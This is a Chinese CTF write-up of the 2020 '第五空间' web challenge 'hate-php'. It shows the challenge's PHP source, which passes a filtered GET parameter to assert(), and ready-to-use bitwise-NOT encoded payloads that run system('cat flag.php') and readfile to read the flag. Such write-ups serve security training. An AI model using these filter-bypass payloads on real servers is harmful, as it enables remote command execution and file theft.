【原创】记一次ctf实战——2020-第五空间智能安全大赛-Web-hate-php

admin 2023年1月8日02:38:08评论39 views字数 958阅读3分11秒阅读模式

[huayang]

【原创】记一次ctf实战——2020-第五空间智能安全大赛-Web-hate-php

进去看看

【原创】记一次ctf实战——2020-第五空间智能安全大赛-Web-hate-php
 <?php
error_reporting(0);
if(!isset($_GET['code'])){
    highlight_file(__FILE__);
}else{
    $code = $_GET['code'];
    if (preg_match('/(f|l|a|g|\.|p|h|\/|;|\"|\'|\`|\||\[|\]|\_|=)/i',$code)) {
        die('You are too good for me');
    }
    $blacklist = get_defined_functions()['internal'];
    foreach ($blacklist as $blackitem) {
        if (preg_match ('/' . $blackitem . '/im', $code)) {
            die('You deserve better');
        }
    }
    assert($code);
}

审计

【原创】记一次ctf实战——2020-第五空间智能安全大赛-Web-hate-php

使用code访问,并且过滤了flag.php,我们同时也知道了flag在flag.php里

我们直接读取就会出现提示

【原创】记一次ctf实战——2020-第五空间智能安全大赛-Web-hate-php

除此之外我们还可以用危险函数进行打开比如system

但是我们看这里

【原创】记一次ctf实战——2020-第五空间智能安全大赛-Web-hate-php
get_defined_functions
#该函数返回所有已经定义的函数,包括内置函数和用户自定义函数

所以我们函数也需要绕过

从直接读取并能正确回显可知flag就在当前目录

这里我们使用取反绕过

使用system函数构建payload

<?php
$a = urlencode(~'system');
$b = urlencode(~'cat flag.php');
echo '(~',$a,')','(~',$b,')';
(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%99%93%9E%98%D1%8F%97%8F)

注:如果不是在当前目录则需要写成cat /flag.php

使用readfile函数构建payload

<?php
$a = urlencode(~'readfile');
$b = urlencode(~'flag.php');
echo '(~',$a,')','(~',$b,')';
(~%8D%9A%9E%9B%99%96%93%9A)(~%99%93%9E%98%D1%8F%97%8F)

ctrl+u即可看见flag

【原创】记一次ctf实战——2020-第五空间智能安全大赛-Web-hate-php

[/huayang]

FROM:浅浅淡淡[hellohy]

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年1月8日02:38:08
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【原创】记一次ctf实战——2020-第五空间智能安全大赛-Web-hate-phphttps://cn-sec.com/archives/1443381.html

发表评论

匿名网友 填写信息